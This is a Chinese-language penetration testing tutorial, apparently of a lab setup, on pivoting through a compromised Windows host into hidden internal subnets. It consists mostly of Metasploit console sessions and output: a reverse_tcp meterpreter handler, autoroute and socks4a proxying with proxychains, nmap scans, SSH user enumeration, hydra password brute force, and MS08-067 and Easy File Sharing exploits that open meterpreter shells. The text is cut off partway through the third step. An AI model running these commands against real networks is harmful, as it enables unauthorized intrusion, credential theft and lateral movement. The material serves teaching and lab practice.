多重转发渗透隐藏内网

一、About

创新互联拥有网站维护技术和项目管理团队，建立的售前、实施和售后服务体系，为客户提供定制化的成都网站设计、做网站、成都外贸网站建设公司、网站维护、重庆服务器托管解决方案。为客户网站安全和日常运维提供整体管家式外包优质服务。我们的网站维护服务覆盖集团企业、上市公司、外企网站、商城开发、政府网站等各类型客户群体，为全球上千余家企业提供全方位网站维护、服务器维护解决方案。

内网机器如下：

说明:

1)Attacker为攻击者,有一个网卡,网段为172.16.0.0,Attacker系统为kali系统

2)RD为第一个已经渗透的目标,有两块网卡,对应172.16.0.0和7.7.7.0两个网段

3)JC有两块网卡,对应7.7.7.0和8.8.8.0两个网段,JC有ms08-067和efs bof两个漏洞,可getshell

4)SK有一块网卡,对应8.8.8.0网段,SK有vsftpd的漏洞,可getshell

5)起初Attacker只拿到RD的msf的shell,对于目标内网情况一无所知,也不知道存在7.7.7.0和8.8.8.0这两个隐藏的网段

6)目标是准备通过RD来渗透内网中7.7.7.0和8.8.8.0两个隐藏的网段

二、Step1

Attacker在RD上通过webshell运行了一个reverse类型的后门,然后操作如下:

 
 
 
 
    
  
  
  
  
  1. msf > use exploit/multi/handler  
    2. 
  
  
  
  
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
    3. 
  
  
  
  
  3. payload => windows/meterpreter/reverse_tcp 
    4. 
  
  
  
  
  4. msf exploit(handler) > set LHOST 172.16.0.20  
    5. 
  
  
  
  
  5. LHOST => 172.16.0.20msf exploit(handler) > set LPORT 1234 
    6. 
  
  
  
  
  6. LPORT => 1234msf exploit(handler) > run 
    7. 
  
  
  
  
  7. [*] Started reverse TCP handler on 172.16.0.20:1234  
    8. 
  
  
  
  
  8. [*] Starting the payload handler... 
    9. 
  
  
  
  
  9. [*] Sending stage (957487 bytes) to 172.16.0.11 
    10. 
  
  
  
  
  10. [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)meterpreter > ifconfig 
    11. 
  
  
  
  
  11. Interface  1============ 
    12. 
  
  
  
  
  12. Name         : Software Loopback Interface 1Hardware MAC : 00:00:00:00:00:00MTU          : 4294967295IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 
    13. 
  
  
  
  
  13. Interface 11============ 
    14. 
  
  
  
  
  14. Name         : Intel(R) PRO/1000 MT Desktop Adapter 
    15. 
  
  
  
  
  15. Hardware MAC : 08:00:27:e1:3f:af 
    16. 
  
  
  
  
  16. MTU          : 1500IPv4 Address : 172.16.0.11IPv4 Netmask : 255.255.255.0Interface 19============ 
    17. 
  
  
  
  
  17. Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:7f:3c:fe 
    18. 
  
  
  
  
  18. MTU          : 1500IPv4 Address : 7.7.7.11IPv4 Netmask : 255.255.255.0 
    19.

三、Step2

发现RD有两块网卡后,想办法渗透另一个网段7.7.7.0,首先要添加路由[不添加路由也可以直接用meterpreter shell中的模块访问 到7.7.7.x网段,添加路由的目的是为了使得msf模块可以访问到7.7.7.x网段],meterpreter shell可以访问到7.7.7.x网段,msf 中的模块不能访问到7.7.7.x网段,msf中的模块所处的ip是攻击者的ip,meterpreter shell所处的ip是RD的ip.在meterpreter中 添加路由的目的是为了给msf模块作代理,也即给Attacker作代理,但是只能给Attacker的msf模块作代理,要想给Attacker的其他 应用程序作代理,则需要在meterpreter添加路由后再运行msf的开启sock4的模块,然后再用proxychains来设置Attacker的其他 应用程序的代理为msf的开启sock4代理模块中设置的代理入口。

操作如下:

 
 
 
 
    
  
  
  
  
  1. meterpreter > run autoroute -s 7.7.7.0/24[*] Adding a route to 7.7.7.0/255.255.255.0... 
    2. 
  
  
  
  
  2. [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11[*] Use the -p option to list all active routes 
    3. 
  
  
  
  
  3. meterpreter > run autoroute -p 
    4. 
  
  
  
  
  4. Active Routing Table 
    5. 
  
  
  
  
  5. ==================== 
    6. 
  
  
  
  
  6.  Subnet Netmask Gateway 
    7. 
  
  
  
  
  7.  ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2meterpreter > 
    8.

然后开始扫描7.7.7.0网段,操作如下:

 
 
 
 
    
  
  
  
  
  1. meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24[*] Running module against DISCORDIA 
    2. 
  
  
  
  
  2. [*] ARP Scanning 7.7.7.0/24[*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) 
    3. 
  
  
  
  
  3. [*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) 
    4. 
  
  
  
  
  4. [*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) 
    5. 
  
  
  
  
  5. [*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) 
    6. 
  
  
  
  
  6. meterpreter > 
    7.

arp_scanner不太够用,不能扫到端口信息[此时也可用msf自带的其他可以扫描端口的模块如auxiliary/scanner/portscan/tcp来扫 描,因为前面添加了路由,使得msf中的模块可以用meterpreter作为代理访问到7.7.7.x网段],于是用Attacker本机的nmap来扫[可以 更完全的扫描,nmap应该比msf中的扫描模块强大],首先在RD上开sockets4代理,然后用proxychains设置nmap的代理为msf模块开 启的Attacker的1080端口提供的代理,操作如下:

 
 
 
 
    
  
  
  
  
  1. meterpreter > background  
    2. 
  
  
  
  
  2. [*] Backgrounding session 2... 
    3. 
  
  
  
  
  3. msf > use auxiliary/server/socks4a  
    4. 
  
  
  
  
  4. msf auxiliary(socks4a) > show options  
    5. 
  
  
  
  
  5. Module options (auxiliary/server/socks4a): 
    6. 
  
  
  
  
  6.    Name     Current Setting  Required  Description 
    7. 
  
  
  
  
  7.    ----     ---------------  --------  ----------- 
    8. 
  
  
  
  
  8.    SRVHOST  0.0.0.0          yes       The address to listen on 
    9. 
  
  
  
  
  9.    SRVPORT  1080             yes       The port to listen on. 
    10. 
  
  
  
  
  10. Auxiliary action: 
    11. 
  
  
  
  
  11.    Name   Description 
    12. 
  
  
  
  
  12.    ----   ----------- 
    13. 
  
  
  
  
  13.    Proxy   
    14. 
  
  
  
  
  14. msf auxiliary(socks4a) > set srvhost 172.16.0.20 
    15. 
  
  
  
  
  15. srvhost => 172.16.0.20msf auxiliary(socks4a) > run 
    16. 
  
  
  
  
  16. [*] Auxiliary module execution completed 
    17. 
  
  
  
  
  17. [*] Starting the socks4a proxy server 
    18. 
  
  
  
  
  18. msf auxiliary(socks4a) > netstat -antp | grep 1080 
    19. 
  
  
  
  
  19. [*] exec: netstat -antp | grep 1080 
    20. 
  
  
  
  
  20. tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby        
    21. 
  
  
  
  
  21. msf auxiliary(socks4a) > 
    22.

proxychains设置/etc/proxychains.conf如下:

 
 
 
 
    
  
  
  
  
  1. [ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4  127.0.0.1 9050socks4  172.16.0.20 1080 
    2.

nmap扫描如下:

 
 
 
 
    
  
  
  
  
  1. root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20ProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK 
    2. 
  
  
  
  
  2. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK 
    3. 
  
  
  
  
  3. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK 
    4. 
  
  
  
  
  4. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
    5. 
  
  
  
  
  5. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK 
    6. 
  
  
  
  
  6. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
    7. 
  
  
  
  
  7. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK 
    8. 
  
  
  
  
  8. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK 
    9. 
  
  
  
  
  9. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK 
    10. 
  
  
  
  
  10. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK 
    11. 
  
  
  
  
  11. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK 
    12. 
  
  
  
  
  12. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK 
    13. 
  
  
  
  
  13. Nmap scan report for 7.7.7.20Host is up (0.17s latency). 
    14. 
  
  
  
  
  14. PORT     STATE    SERVICE      VERSION 
    15. 
  
  
  
  
  15. 22/tcp   open     ssh          Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)80/tcp   closed   http         Easy File Sharing Web Server httpd 6.9 
    16. 
  
  
  
  
  16. 135/tcp  open     msrpc        Microsoft Windows RPC 
    17. 
  
  
  
  
  17. 139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn 
    18. 
  
  
  
  
  18. 445/tcp  open     microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds 
    19. 
  
  
  
  
  19. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 
    20. 
  
  
  
  
  20. Host script results: 
    21. 
  
  
  
  
  21. | smb-vuln-ms08-067:  
    22. 
  
  
  
  
  22. |   VULNERABLE: 
    23. 
  
  
  
  
  23. |   Microsoft Windows system vulnerable to remote code execution (MS08-067)|     State: VULNERABLE 
    24. 
  
  
  
  
  24. |     IDs: CVE:CVE-2008-4250 
    25. 
  
  
  
  
  25. |          The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,  
    26. 
  
  
  
  
  26. |          Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary  
    27. 
  
  
  
  
  27. |          code via a crafted RPC request that triggers the overflow during path canonicalization. 
    28. 
  
  
  
  
  28. |  
    29. 
  
  
  
  
  29. |     Disclosure date: 2008-10-23 
    30. 
  
  
  
  
  30. |     References: 
    31. 
  
  
  
  
  31. |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspxService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds 
    32. 
  
  
  
  
  32. root@kali:~# 
    33.

现在发现了7.7.7.20(JC)这台机器端口开放比较多,尝试找出JC的漏洞,操作如下: 首先看看JC的80端口运行了什么cms,但是Attacker的浏览器直接访问http://172.16.0.20会无法访问,因为Attacker的网段与JC 不在同一网段,此处有个要注意的内容:

Attention:可以选择使用proxychains设置Attacker的浏览器的代理为Attacker的1080端口的socks4代理入口,也可通过在RD的meterpreter会 话中运行portfwd模块命令,portfwd命令如下:

 
 
 
 
    
  
  
  
  
  1. meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80meterpreter > 
    2. 
  
  
  
  
  2. meterpreter > portfwd listActive Port Forwards 
    3. 
  
  
  
  
  3. ==================== 
    4. 
  
  
  
  
  4.    Index  Local             Remote       Direction 
    5. 
  
  
  
  
  5.    -----  -----             ------       ---------   1      172.16.0.20:2323  7.7.7.20:80  Forward1 total active port forwards. 
    6. 
  
  
  
  
  6. meterpreter > 
    7.

通过访问Attacker的2323端口访问JC的80端口,结果如下:

这里的portfwd模块不只是名字上的端口转发的意思,目前笔者认为portfwd相当于半个ssh正向代理加一个ssh反向代理组成的综合命令,ssh正向反向代理可参考这里的理解 。ssh正向反向代理理解笔者认为portfwd命令之后Attacker可以通过访问Attacker本身ip的2323端口进而访问到JC的80端口期间发生了3件事。

1.RD访问JC的80端口,这里相当于半个ssh正向代理

2.RD绑定已经访问到的JC的80端口的数据到Attacker的2323端口,这里相当于一个ssh反向代理,相当于RD有Attacker的ssh权限

3.攻击者的浏览器访问攻击者自己的172.16.0.20:2323

portfwd的用法如下:

 
 
 
 
    
  
  
  
  
  1. meterpreter > portfwd -h 
    2. 
  
  
  
  
  2. Usage: portfwd [-h] [add | delete | list | flush] [args] 
    3. 
  
  
  
  
  3. OPTIONS: 
    4. 
  
  
  
  
  4.      -L >opt>  The local host to listen on (optional). 
    5. 
  
  
  
  
  5.      -h        Help banner. 
    6. 
  
  
  
  
  6.      -l >opt>  The local port to listen on. 
    7. 
  
  
  
  
  7.      -p >opt>  The remote port to connect on. 
    8. 
  
  
  
  
  8.      -r >opt>  The remote host to connect on. 
    9. 
  
  
  
  
  9. meterpreter > 
    10.

其中-L只能设置为攻击者的ip,不能设置为肉鸡的ip,-L设置的ip可以是攻击者的内网ip,-r也可以是目标的内网ip,两个内网之 间通过meterpreter会话的"隧道"来连通,如果-L后设置的ip是攻击者的内网ip,-r后设置的是目标机器的内网ip,portfwd通过 meterpreter会话连通两台,-l是指攻击者的监听端口,运行完上面的portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 命令后,Attacker的2323端口将变成监听状态(也即Attacker会开启2323端口) 这里还要注意route add命令只能是在meterpreter会话中有效,不能系统全局有效,笔者认为route add也是通过meterpreter会 话的"隧道"来实现攻击者能够访问目标机器其他网段机器的,也即在上面的Attacker通过portfwd来实现访问目标机器其他网段 机器而不能因为在portfwd模块运行前由于已经运行了route add模块而由Attacker的浏览器直接访问目标7.7.7.20:80,因为 route add只会给msf的模块提供meterpreter会话通道作为代理服务,只有meterpreter会话下可用的模块可以直接访问7.7.7.x 网段,Attacker的浏览器想直接访问7.7.7.20需要使用proxychins和msf开启的sock4代理.

上面访问得到目标机器JC的80端口信息看出JC运行的是Eash File Sharing Web Server,可用msf中的模块尝试getshell,操作如 下(如果没有在meterpreter中添加路由msf是访问不到7.7.7.20的):

 
 
 
 
    
  
  
  
  
  1. msf  > use exploit/windows/http/easyfilesharing_seh  
    2. 
  
  
  
  
  2. msf exploit(easyfilesharing_seh) > show options  
    3. 
  
  
  
  
  3. Module options (exploit/windows/http/easyfilesharing_seh): 
    4. 
  
  
  
  
  4.    Name   Current Setting  Required  Description 
    5. 
  
  
  
  
  5.    ----   ---------------  --------  ----------- 
    6. 
  
  
  
  
  6.    RHOST                   yes       The target address 
    7. 
  
  
  
  
  7.    RPORT  80               yes       The target port 
    8. 
  
  
  
  
  8. Exploit target: 
    9. 
  
  
  
  
  9.    Id  Name 
    10. 
  
  
  
  
  10.    --  ---- 
    11. 
  
  
  
  
  11.    0   Easy File Sharing 7.2 HTTP 
    12. 
  
  
  
  
  12. msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 
    13. 
  
  
  
  
  13. rhost => 7.7.7.20msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp 
    14. 
  
  
  
  
  14. payload => windows/meterpreter/bind_tcp 
    15. 
  
  
  
  
  15. msf exploit(easyfilesharing_seh) > run 
    16. 
  
  
  
  
  16. [*] Started bind handler 
    17. 
  
  
  
  
  17. [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... 
    18. 
  
  
  
  
  18. [+] 7.7.7.20:80 - Exploit Sent 
    19. 
  
  
  
  
  19. [*] Sending stage (957999 bytes) to 7.7.7.20 
    20. 
  
  
  
  
  20. [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 
    21.

或者从JC(7.7.7.20)22端口入手:

 
 
 
 
    
  
  
  
  
  1. msf > use auxiliary/scanner/ssh/ssh_enumusers  
    2. 
  
  
  
  
  2. msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20rhosts => 7.7.7.20msf auxiliary(ssh_enumusers) > set rport 22rport => 22msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt 
    3. 
  
  
  
  
  3. user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt 
    4. 
  
  
  
  
  4. msf auxiliary(ssh_enumusers) > run 
    5. 
  
  
  
  
  5. [*] 7.7.7.20:22 - SSH - Checking for false positives 
    6. 
  
  
  
  
  6. [*] 7.7.7.20:22 - SSH - Starting scan 
    7. 
  
  
  
  
  7. [+] 7.7.7.20:22 - SSH - User 'admin' found 
    8. 
  
  
  
  
  8. [-] 7.7.7.20:22 - SSH - User 'root' not found 
    9. 
  
  
  
  
  9. [-] 7.7.7.20:22 - SSH - User 'Administrator' not found 
    10. 
  
  
  
  
  10. [+] 7.7.7.20:22 - SSH - User 'sysadm' found 
    11. 
  
  
  
  
  11. [-] 7.7.7.20:22 - SSH - User 'tech' not found 
    12. 
  
  
  
  
  12. [-] 7.7.7.20:22 - SSH - User 'operator' not found 
    13. 
  
  
  
  
  13. [+] 7.7.7.20:22 - SSH - User 'guest' found 
    14. 
  
  
  
  
  14. [-] 7.7.7.20:22 - SSH - User 'security' not found 
    15. 
  
  
  
  
  15. [-] 7.7.7.20:22 - SSH - User 'debug' not found 
    16. 
  
  
  
  
  16. [+] 7.7.7.20:22 - SSH - User 'manager' found 
    17. 
  
  
  
  
  17. [-] 7.7.7.20:22 - SSH - User 'service' not found 
    18. 
  
  
  
  
  18. [-] 7.7.7.20:22 - SSH - User '!root' not found 
    19. 
  
  
  
  
  19. [+] 7.7.7.20:22 - SSH - User 'user' found 
    20. 
  
  
  
  
  20. [-] 7.7.7.20:22 - SSH - User 'netman' not found 
    21. 
  
  
  
  
  21. [+] 7.7.7.20:22 - SSH - User 'super' found 
    22. 
  
  
  
  
  22. [-] 7.7.7.20:22 - SSH - User 'diag' not found 
    23. 
  
  
  
  
  23. [+] 7.7.7.20:22 - SSH - User 'Cisco' found 
    24. 
  
  
  
  
  24. [-] 7.7.7.20:22 - SSH - User 'Manager' not found 
    25. 
  
  
  
  
  25. [+] 7.7.7.20:22 - SSH - User 'DTA' found 
    26. 
  
  
  
  
  26. [-] 7.7.7.20:22 - SSH - User 'apc' not found 
    27. 
  
  
  
  
  27. [+] 7.7.7.20:22 - SSH - User 'User' found 
    28. 
  
  
  
  
  28. [-] 7.7.7.20:22 - SSH - User 'Admin' not found 
    29. 
  
  
  
  
  29. [+] 7.7.7.20:22 - SSH - User 'cablecom' found 
    30. 
  
  
  
  
  30. [-] 7.7.7.20:22 - SSH - User 'adm' not found 
    31. 
  
  
  
  
  31. [+] 7.7.7.20:22 - SSH - User 'wradmin' found 
    32. 
  
  
  
  
  32. [-] 7.7.7.20:22 - SSH - User 'netscreen' not found 
    33. 
  
  
  
  
  33. [+] 7.7.7.20:22 - SSH - User 'sa' found 
    34. 
  
  
  
  
  34. [-] 7.7.7.20:22 - SSH - User 'setup' not found 
    35. 
  
  
  
  
  35. [+] 7.7.7.20:22 - SSH - User 'cmaker' found 
    36. 
  
  
  
  
  36. [-] 7.7.7.20:22 - SSH - User 'enable' not found 
    37. 
  
  
  
  
  37. [+] 7.7.7.20:22 - SSH - User 'MICRO' found 
    38. 
  
  
  
  
  38. [-] 7.7.7.20:22 - SSH - User 'login' not found 
    39. 
  
  
  
  
  39. [*] Caught interrupt from the console... 
    40. 
  
  
  
  
  40. [*] Auxiliary module execution completed 
    41. 
  
  
  
  
  41. ^C 
    42. 
  
  
  
  
  42. msf auxiliary(ssh_enumusers) > 
    43.

然后用hydra本地用msf模块开启的1080端口的sock4代理尝试爆破:

 
 
 
 
    
  
  
  
  
  1. root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 
    2. 
  
  
  
  
  2. ProxyChains-3.1 (http://proxychains.sf.net) 
    3. 
  
  
  
  
  3. Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. 
    4. 
  
  
  
  
  4. Hydra (http://www.thc.org/thc-hydra) starting  
    5. 
  
  
  
  
  5. [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... 
    6. 
  
  
  
  
  6. [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task 
    7. 
  
  
  
  
  7. [DATA] attacking service ssh on port 22 
    8. 
  
  
  
  
  8. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
    9. 
  
  
  
  
  9. |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK<><>-OK<><>-OK 
    10. 
  
  
  
  
  10. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
    11. 
  
  
  
  
  11. [22][ssh] host: 7.7.7.20   login: admin   password: 123456 
    12. 
  
  
  
  
  12. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK 
    13. 
  
  
  
  
  13. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
    14. 
  
  
  
  
  14. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
    15. 
  
  
  
  
  15. 1 of 1 target successfully completed, 1 valid password found 
    16. 
  
  
  
  
  16. Hydra (http://www.thc.org/thc-hydra) finished 
    17. 
  
  
  
  
  17. root@kali:~# 
    18.

发现有可用帐户密码admin:123456,然后再用sock4代理ssh登录:

 
 
 
 
    
  
  
  
  
  1. root@kali:~# proxychains ssh admin@7.7.7.20 
    2. 
  
  
  
  
  2. ProxyChains-3.1 (http://proxychains.sf.net) 
    3. 
  
  
  
  
  3. |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
    4. 
  
  
  
  
  4. The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. 
    5. 
  
  
  
  
  5. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. 
    6. 
  
  
  
  
  6. Are you sure you want to continue connecting (yes/no)? yes 
    7. 
  
  
  
  
  7. Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. 
    8. 
  
  
  
  
  8. admin@7.7.7.20's password:  
    9. 
  
  
  
  
  9. bvshell:/C/Documents and Settings/All Users$ pwd 
    10. 
  
  
  
  
  10. /C/Documents and Settings/All Users 
    11. 
  
  
  
  
  11. bvshell:/C/Documents and Settings/All Users$ dir 
    12. 
  
  
  
  
  12. 2016-12-24  21:32           Application Data 
    13. 
  
  
  
  
  13. 2016-12-25  06:16           Desktop 
    14. 
  
  
  
  
  14. 2016-12-24  18:36           Documents 
    15. 
  
  
  
  
  15. 2016-12-24  18:37           DRM 
    16. 
  
  
  
  
  16. 2016-12-24  21:32           Favorites 
    17. 
  
  
  
  
  17. 2016-12-24  18:38           Start Menu 
    18. 
  
  
  
  
  18. 2016-12-24  21:32           Templates 
    19. 
  
  
  
  
  19.       0 Files                  0 bytes 
    20. 
  
  
  
  
  20.       7 Directories 
    21. 
  
  
  
  
  21. bvshell:/C/Documents and Settings/All Users$ 
    22.

或者用ms08067:

 
 
 
 
    
  
  
  
  
  1. msf > use exploit/windows/smb/ms08_067_netapi  
    2. 
  
  
  
  
  2. msf exploit(ms08_067_netapi) > show options  
    3. 
  
  
  
  
  3. Module options (exploit/windows/smb/ms08_067_netapi): 
    4. 
  
  
  
  
  4.    Name     Current Setting  Required  Description 
    5. 
  
  
  
  
  5.    ----     ---------------  --------  ----------- 
    6. 
  
  
  
  
  6.    RHOST                     yes       The target address 
    7. 
  
  
  
  
  7.    RPORT    445              yes       The SMB service port 
    8. 
  
  
  
  
  8.    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) 
    9. 
  
  
  
  
  9. Exploit target: 
    10. 
  
  
  
  
  10.    Id  Name 
    11. 
  
  
  
  
  11.    --  ----   0   Automatic Targeting 
    12. 
  
  
  
  
  12. msf exploit(ms08_067_netapi) > set rhost 7.7.7.20rhost => 7.7.7.20msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp 
    13. 
  
  
  
  
  13. payload => windows/meterpreter/bind_tcp 
    14. 
  
  
  
  
  14. msf exploit(ms08_067_netapi) > show options  
    15. 
  
  
  
  
  15. Module options (exploit/windows/smb/ms08_067_netapi): 
    16. 
  
  
  
  
  16.    Name     Current Setting  Required  Description 
    17. 
  
  
  
  
  17.    ----     ---------------  --------  ----------- 
    18. 
  
  
  
  
  18.    RHOST    7.7.7.20         yes       The target address 
    19. 
  
  
  
  
  19.    RPORT    445              yes       The SMB service port 
    20. 
  
  
  
  
  20.    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) 
    21. 
  
  
  
  
  21. Payload options (windows/meterpreter/bind_tcp): 
    22. 
  
  
  
  
  22.    Name      Current Setting  Required  Description 
    23. 
  
  
  
  
  23.    ----      ---------------  --------  ----------- 
    24. 
  
  
  
  
  24.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none) 
    25. 
  
  
  
  
  25.    LPORT     4444             yes       The listen port 
    26. 
  
  
  
  
  26.    RHOST     7.7.7.20         no        The target address 
    27. 
  
  
  
  
  27. Exploit target: 
    28. 
  
  
  
  
  28.    Id  Name 
    29. 
  
  
  
  
  29.    --  ----   0   Automatic Targeting 
    30. 
  
  
  
  
  30. msf exploit(ms08_067_netapi) > run 
    31. 
  
  
  
  
  31. [*] Started bind handler 
    32. 
  
  
  
  
  32. [*] 7.7.7.20:445 - Automatically detecting the target... 
    33. 
  
  
  
  
  33. [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown 
    34. 
  
  
  
  
  34. [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English 
    35. 
  
  
  
  
  35. [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) 
    36. 
  
  
  
  
  36. [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... 
    37. 
  
  
  
  
  37. [*] Sending stage (957999 bytes) to 7.7.7.20[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)  
    38. 
  
  
  
  
  38. meterpreter > 
    39.

成功溢出getshell后查看JC(7.7.7.20)网卡信息:

 
 
 
 
    
  
  
  
  
  1. meterpreter > ipconfigInterface  1============Name         : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU          : 1520IPv4 Address : 127.0.0.1Interface 65539============Name         : Intel(R) PRO/1000 MT Desktop AdapterHardware MAC : 08:00:27:29:cd:cbMTU          : 1500IPv4 Address : 8.8.8.3IPv4 Netmask : 255.255.255.0Interface 65540============Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:e3:47:43MTU          : 1500IPv4 Address : 7.7.7.20IPv4 Netmask : 255.255.255.0meterpreter > 
    2.

发现又出现一个8.8.8.x的网段,于是将这个网段添加路由,以便msf中的模块可以访问到8.8.8.x网段.

四、Step3

先直接用新的meterpreter shell看看8.8.8.x这个网段有什么机器

 
 
 
 
    
  
  
  
  
  1. meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24[*] Running module against SRV03[*] ARP Scanning 8.8.8.0/24[*]   IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)[*]   IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)[*]   IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)[*]    IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) 
    2.

为了让msf中所有模块都能访问到8.8.8.x网段,在新的meterpreter会话中添加路由:

 
 
 
 
    
  
  
  
  
  1. meterpreter > run autoroute -s 8.8.8.0/24[*] Adding a route to 8.8.8.0/255.255.255.0...[+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20[*] Use the -p option to list all active routes 
    2.

为了让Attacker的除了msf模块以外的其他应用程序能访问到8.8.8.x网段,再使用msf的开启sock4代理的模块开启另外一个端口 作为8.8.8.x网段的入口:

 
 
 
 
    
  
  
  
  
  1. msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a  
    2. 
  
  
  
  
  2. msf auxiliary(socks4a) > show options  
    3. 
  
  
  
  
  3. Module options (auxiliary/server/socks4a): 
    4. 
  
  
  
  
  4.    Name     Current Setting  Required  Description 
    5. 
  
  
  
  
  5.    ----     ---------------  --------  ----------- 
    6. 
  
  
  
  
  6.    SRVHOST  172.16.0.20      yes       The address to listen on 
    7. 
  
  
  
  
  7.    SRVPORT  1080             yes       The port to listen on. 
    8. 
  
  
  
  
  8. Auxiliary action: 
    9. 
  
  
  
  
  9.    Name   Description 
    10. 
  
  
  
  
  10.    ----   ----------- 
    11. 
  
  
  
  
  11.    Proxy   
    12. 
  
  
  
  
  12. msf auxiliary(socks4a) > set SRVPORT 1081SRVPORT => 1081msf auxiliary(socks4a) > run 
    13. 
  
  
  
  
  13. [*] Auxiliary module execution completed 
    14. 
  
  
  
  
  14. [*] Starting the socks4a proxy server 
    15. 
  
  
  
  
